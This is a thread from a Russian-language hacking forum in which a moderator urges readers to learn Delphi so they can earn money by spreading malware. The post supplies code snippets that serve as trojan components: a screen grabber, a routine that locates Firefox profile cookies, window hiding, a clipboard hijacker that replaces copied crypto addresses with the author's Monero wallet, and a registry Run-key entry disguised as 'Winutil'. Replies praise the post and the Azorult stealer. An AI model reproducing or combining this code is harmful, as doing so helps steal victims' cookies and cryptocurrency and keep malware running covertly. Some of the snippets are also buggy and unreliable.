Скрыть объявление
Гость Присоединяйся к складчине. Автокаталог для грузовых авто

Мануал Сегодня Учим Новый Язык - Завтра Пишем Своего Троянца

Тема в разделе "Trojan | Viruses", создана пользователем Tapac1, 13 фев 2019.

Метки:
  1. Tapac1

    Tapac1 Moder-Coder Команда форума

    Регистрация
    26 сен 2016
    Сообщения
    127
    Симпатии
    62
    Баллы
    51
    Пол
    Мужской
    Род занятий
    Web
    Адрес
    Localhost
    Интересы:
    Разное
    Приветствую тебя и радостно махаю рукой!!!

    Знаешь, когда каждый день у тебя случаются новые открытия, познания, когда ты получаешь опыт после компиляции идеи в готовый и рабочий проект - жизнь наполняется нереальными красками и вней полно любви и радости. Этим чувством сегодня я и хочу с Вами поделиться.

    Говорят, те кто познали смысл жизни больше никуда не спешат. Если Вы не из таких и у Вас мало времени, то эта статья для Вас.

    Например тебе нужно срочно поднять деньжат, и у тебя есть идея - заработок на распространении малварины. Не важно пока какой - придумаешь когда поднимишься по лифту на свой этаж. Но вот не задача, ты абсолютно не знаешь никакого языка программирования, или был знаком с каким-нибудь VBA, JS (ничего не имею против этих двух - они классные чуваки) пару лет назад. С чего же начать изучение языка и какой учить? Больше всего юзеров тусуются под виндой, поэтому выбор у нас примерно на следующие языки:

    C#
    Delphi
    Python
    Ruby
    С
    Питон кстати, хоть и скриптовый язык, но можно фаил *.py преобразовать в exe
    Хорошенько прикинув за и против Вы решили начать кодить на Delphi (странное решение, но да ладно) и что же для этого потребуется? Именно сейчас заканчивается вода и начинается полезна инфа:

    Шаг номер ноль - Качаем Delphi, устанавливаем играем с формами, создаём программы которые ничего не делают, но имеют кнопочки и формы ввода. Так мы уже заранее будем знать где у нас лежат кнопки, поля ввода, etc и примерно будем представлять для чего они нужны.

    Шаг номер 1 - нужно разобраться с типами данных и их особенностями. Для начала хватит базовых int, float, double, char, string и их унсигнеты

    Шаг номер 2 - математика и логика. Учимся получать переменные от пользователя, производить с ними вычисления и возвращать результат.

    Шаг номер 3 - Логическое продолжение логики) Углубленное её изучение. Изучив ветвления if и case уже можно делать весёлые программулины. Ставим себе простецкие задачки, типа - взять случайное целое число, если пользователь ввёл число меньше случайного числа мы выводим сообщение не угадал число меньше, если ввёл больше то выводим аналогичное сообщение мол число больше, а если число пользователя равно случайному то выводим "Эврика, ты угадал случайное число. Ванга курит в стороне". Дальше можно придумать что-то по веселее или загуглить примеры таких задач для самостоятельных работ. Не бойтесь фантазировать, если что-то непонятно - гугл в помощь, именно с ним по мере изучения чего-либо Вы паралельно будете изучать разные функции.

    Шаг номер 4 - Циклы. Учим for, while, repeat. Придумываем задачки и проходим самостоятельные задания. Решаем их и радуемся.

    Шаг номер 5 - Массивы, работа со строками, преобразование типов. Учимся работать с массивами, заполнять их, менять, менять частями группами. Дальше Вы обнаружите что не все типы данных совместимы, их нужно друг под друга подгонять всякими intToStr. Ну и конечно замороч со строками - найти символ, группу символов после первого второго или двадцатого вхождения изменить или преобразовать часть строки. На это шаге у Вас уже будет несколько идей самостоятельных работ для закрепления материала + падаем на гугл и ищем задачки там.

    Пройдя эти пять шагов сделайте глубокий выдох и лягте в послеть на шесть часов.

    На следующий день Вы встаёте со своей мега гениальной идеей и алгоритм по воплощению этой идеи в реальность уже крутиться у Вас в голове. Фиксируйте её на бумаге, принимайте водные процедуры, натрите жопу перцем, сядьте поудобнее впитывайте инфу и практикуйтесь. Такие штуки как: работа с файловой системой, FTP, HTTP, изображениями, перефирией компьютера, сбор информации - легко гугляться и имея знания и опыт пройдя эти пять шагов уже можно сделать реально полезную софтину если не труситься и гуглить при первом же ступоре.

    А дабы подогрети интерес новичков и натолкнуть их на идеи, выкладываю кусочки кода которые применял в разных программах:

    var
    searchResult: TSearchRec;
    begin
    Memo1.Clear;

    SetCurrentDir(Edit1.Text);

    if FindFirst('*.*', faAnyFile, searchResult) = 0 then
    begin
    repeat
    Memo1.Lines.Add(searchResult.Name);
    until FindNext(searchResult) <> 0;

    FindClose(searchResult);
    end;
    end;
    Var
    DC: HDC;
    bmp: TBitmap;
    begin
    bmp:=TBitmap.Create;
    bmp.Height:=Screen.Height;
    bmp.Width:=Screen.Width;
    DC:=GetDC(0);
    bitblt(bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height,
    DC, 0, 0, SRCCOPY);
    bmp.SaveToFile('c:/Screen.bmp');
    ReleaseDC(0, DC);
    bmp.Free;
    end;
    var
    F: integer;
    Str: string[8];
    begin
    F:= FileCreate('C:/1.txt');
    FileWrite(F, '0123456789', SizeOf(str));
    FileClose(F);
    end;

    procedure TForm1.Button2Click(Sender: TObject);
    var
    F: integer;
    Str: string[8];
    begin
    F:= FileOpen('C:/1.txt', fmOpenRead);
    FileRead(F, Str, SizeOf(str));
    Memo1.Text:=Str;
    FileClose(F);
    SetCursorPos(100, 200);
    end;
    var
    pathForFirefox : string;
    searchResult: TSearchRec;
    FindRes: Integer;
    i : integer;
    nameFilesOrDirectory:array[1..255] of string[254];
    position : Integer;
    posArray : Integer;
    begin

    pathForFirefox :=ExtractFilePath(GetEnvironmentVariable('APPDATA'));
    pathForFirefox:=pathForFirefox+'Roaming\Mozilla\Firefox\Profiles\';
    mmo1.Text:= mmo1.Text +pathForFirefox;

    SetCurrentDir(pathForFirefox);
    i :=1;
    if FindFirst('*.*', faAnyFile, searchResult) = 0 then
    begin
    repeat
    mmo1.Lines.Add(searchResult.Name);
    nameFilesOrDirectory:=searchResult.Name;

    position := Pos('.default', nameFilesOrDirectory);
    if position = 0 then
    begin
    posArray:=i;
    end;

    i:=i+1;
    until FindNext(searchResult) <> 0;

    pathForFirefox:=pathForFirefox + nameFilesOrDirectory[posArray+1];
    SetCurrentDir(pathForFirefox);
    mmo1.Text := pathForFirefox; // здесь мы нашли папку xxx.default со всякими вкусняшками

    if FindFirst('*.*', faAnyFile, searchResult) = 0 then
    begin
    repeat
    mmo1.Lines.Add(searchResult.Name);
    nameFilesOrDirectory:=searchResult.Name;
    until FindNext(searchResult) <> 0;
    end;

    if FileExists('cookies.sqlite') then
    begin
    mmo2.Text := 'cookies';
    end;
    FindClose(searchResult);


    end;

    end;

    var p:pROCESSENTRY32;ct:cardinal;th:Cardinal;
    begin
    Application.ShowMainForm:= False;
    Application.Run;
    ShowWindow(Application.Handle, SW_HIDE);

    end;

    if (Length(Clipboard.AsText) >= 95) and (Length(Clipboard.AsText) = 106) then // если длинна буфера больше или равна или меньше или равна 95 или 106 соотвественно то...
    begin
    if (Pos('4', Clipboard.AsText)=1) then
    begin
    if (Pos('0', Clipboard.AsText)=0) and (Pos(']', Clipboard.AsText)=0) and (Pos('[', Clipboard.AsText)=0) and (Pos('}', Clipboard.AsText)=0) and (Pos('{', Clipboard.AsText)=0) and (Pos(':', Clipboard.AsText)=0) and (Pos('"', Clipboard.AsText)=0) and (Pos('\', Clipboard.AsText)=0) and (Pos('/', Clipboard.AsText)=0) and (Pos('@', Clipboard.AsText)=0) and (Pos('$', Clipboard.AsText)=0) and (Pos('%', Clipboard.AsText)=0) and (Pos('^', Clipboard.AsText)=0) and (Pos('&', Clipboard.AsText)=0) and (Pos('(', Clipboard.AsText)=0) and (Pos('*', Clipboard.AsText)=0) and (Pos(')', Clipboard.AsText)=0) and (Pos('=', Clipboard.AsText)=0) and(Pos('+', Clipboard.AsText)=0) and (Pos('_', Clipboard.AsText)=0) and (Pos('-', Clipboard.AsText)=0) and (Pos('O', Clipboard.AsText)=0) and (Pos('I', Clipboard.AsText)=0) and (Pos(' ', Clipboard.AsText)=0) and (Pos('.', Clipboard.AsText)=0) and (Pos(',', Clipboard.AsText)=0) and (Pos('!', Clipboard.AsText)=0) then
    begin
    if (Pos('ÿ', Clipboard.AsText)=0) and (Pos('å', Clipboard.AsText)=0) and (Pos('ê', Clipboard.AsText)=0) and (Pos('í', Clipboard.AsText)=0) and (Pos('ã', Clipboard.AsText)=0) and (Pos('à', Clipboard.AsText)=0) and (Pos('û', Clipboard.AsText)=0) and (Pos('î', Clipboard.AsText)=0) and (Pos('ë', Clipboard.AsText)=0) and (Pos('ñ', Clipboard.AsText)=0) and (Pos('è', Clipboard.AsText)=0) and (Pos('ó', Clipboard.AsText)=0) and (Pos('â', Clipboard.AsText)=0) and (Pos('ò', Clipboard.AsText)=0) and (Pos('ß', Clipboard.AsText)=0) and (Pos('Å', Clipboard.AsText)=0) and (Pos('Ê', Clipboard.AsText)=0) and (Pos('Í', Clipboard.AsText)=0) and (Pos('Ã', Clipboard.AsText)=0) and (Pos('À', Clipboard.AsText)=0) and (Pos('Û', Clipboard.AsText)=0) and (Pos('Î', Clipboard.AsText)=0) and (Pos('Ë', Clipboard.AsText)=0) and (Pos('Ñ', Clipboard.AsText)=0) and (Pos('È', Clipboard.AsText)=0) and (Pos('Ó', Clipboard.AsText)=0) and (Pos('Â', Clipboard.AsText)=0) and (Pos('Ò', Clipboard.AsText)=0) then // Здесь русские символы, мне влом их переписывать в нормальную кодировку - запарьтесь сами кому нужно
    begin
    Clipboard.AsText := myXMRwallet;
    end;
    end;
    end;
    end;

    begin
    Reg:=TRegIniFile.Create;
    Reg.RootKey:=HKEY_LOCAL_MACHINE;
    Reg.OpenKey('Software',true);
    Reg.OpenKey('Microsoft',true);
    Reg.OpenKey('Windows',true);
    Reg.OpenKey('CurrentVersion',true);
    Reg.OpenKey('Run',true);
    Reg.WriteString('Winutil','c:\Program files\WinRAR\sysctl.exe');
    Reg.CloseKey;
    Reg.Free;
    end

    var
    hSnapShot: THandle;
    ProcInfo: TProcessEntry32;
    begin
    hSnapShot := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapShot <> THandle(-1)) then
    begin
    ProcInfo.dwSize := SizeOf(ProcInfo);
    if (Process32First(hSnapshot, ProcInfo)) then
    begin
    Memo1.Lines.Add(ProcInfo.szExeFile);
    while (Process32Next(hSnapShot, ProcInfo)) do
    Memo1.Lines.Add(ProcInfo.szExeFile);
    end;
    CloseHandle(hSnapShot);
    end;
    end;

    Описанное выше не является единственно верным способом изучения любого языка программирования, но лично мне он помог достигнуть некоторых результатов. И конечно же я никого и ни на что не сподвигаю, однако есть три пути: ты продолжаешь смотреть летсплеи, ты играешь сам или ты сам пишешь свою игру. Трактуйте это как хотите.
    Ну вот и всё впринципе, сказал всё что хотел. Всем удачи в экспериментах, добра в подмышку и до скорого!!! Будет вдохновение - выкачу ещё пару статей.


     
    encore69 нравится это.
  2. Nessi

    Nessi Новичок Зарегистрирован

    Регистрация
    17 фев 2019
    Сообщения
    4
    Симпатии
    0
    Баллы
    1
    Пол
    Мужской
    Интересы:
    Hack-tool
    Годный мануальчик
     
  3. hastly1

    hastly1 Новичок Зарегистрирован Житель

    Регистрация
    10 фев 2019
    Сообщения
    12
    Симпатии
    1
    Баллы
    1
    Пол
    Мужской
    Интересы:
    Hack-tool
    На делфи написал легендарный стиллер Azorult, хоть его поддержка и закончилась, но на рынке еще не видел более полезного стиллера до сих пор
     
  4. 0vod

    0vod Новичок Зарегистрирован

    Регистрация
    22 фев 2019
    Сообщения
    1
    Симпатии
    0
    Баллы
    1
    Пол
    Мужской
    Интересы:
    Hack-tool
    Ну вообще норм , ток надо доработать
     
  5. Tapac1

    Tapac1 Moder-Coder Команда форума

    Регистрация
    26 сен 2016
    Сообщения
    127
    Симпатии
    62
    Баллы
    51
    Пол
    Мужской
    Род занятий
    Web
    Адрес
    Localhost
    Интересы:
    Разное
    И чем же доработать, зачем флудить пишите по делу!
     

Поделиться этой страницей

Share
Загрузка...
Плагины для XenForo/